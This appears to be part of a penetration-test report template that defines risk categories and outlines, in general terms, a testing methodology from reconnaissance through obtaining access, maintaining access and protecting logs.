Insecure services and protocols are being employed by the system allowing potentially allowing unrestricted access to sensitive information i.e.: a. The use of the Finger and Sendmail services may allow enumeration of User IDs. b. Anonymous FTP and Web based services are being offered on network devices or peripherals. c. Disclosure of Operating System, Application version details and personal details of system administration staffs.

Concern

The current systems configuration has a risk potential to the network concerned though the ability to exploit this is mitigated by factors such as default configuration, auditing, or the difficulty level or access level required to carry out an exploit. This includes the running of network-enabled services that are not required by the current business continuity process.

Unknowns

An unknown risk is an unclear response to a test or an action whose impact can be determined as having minimal impact on the system. The test identifying this risk may or may not be repeatable. While the results do not represent a security risk per se, they should be investigated and rectified where possible. Unknowns may also be due to false positives being reported, however, do require follow up response.

Tools Utilised.

Methodology Utilised.

Reconnaissance

The tester would attempt to gather as much information as possible about the selected network. Reconnaissance can take two forms i.e. active and passive. A passive attack is always the best starting point as this would normally defeat intrusion detection systems and other forms of protection etc. afforded to the network. This would usually involve trying to discover publicly available information by utilising a web browser and visiting newsgroups etc. An active form would be more intrusive and may show up in audit logs and may take the form of an attempted DNS zone transfer or a social engineering type of attack.

Enumeration

The tester would use varied operating system fingerprinting tools to determine what hosts are alive on the network and more importantly what services and operating systems they are running. Research into these services would then be carried out to tailor the test to the discovered services.

Scanning

By use of vulnerability scanners all discovered hosts would be tested for vulnerabilities. The result would then be analysed to determine if there any vulnerabilities that could be exploited to gain access to a target host on a network.

Obtaining Access

By use of published exploits or weaknesses found in applications, operating system and services access would then be attempted. This may be done surreptitiously or by more brute force methods. An example of this would be the use of exploit engines i.e. Metasploit or password cracking tools such as John the Ripper.

Maintaining Access

This is done by installing a backdoor into the target network to allow the tester to return as and when required. This may be by means of a rootkit, backdoor trojan or simply the addition of bogus user accounts.

Erasing Evidence

The ability to erase logs that may have detected the testing teams attempts to access the network should ideally not be possible. These logs are the first piece of evidence that may prove that a possible breach of company security has occurred and should be protected at all costs. An attempt to erase or alter these logs should prove unsuccessful to ensure that if a malicious attacker did in fact get access to the network then their every movement would be recorded.

Sources of Information

[National Security Agency](#)

Microsoft

[Microsoft Windows 2000 Security Configuration Guide.](#)

[Windows Server 2003 Security Guide.](#)

[Windows XP Security Guide.](#)

[The Threats and Countermeasures guide.](#)

[Auscert](#)

[CISSecurity](#)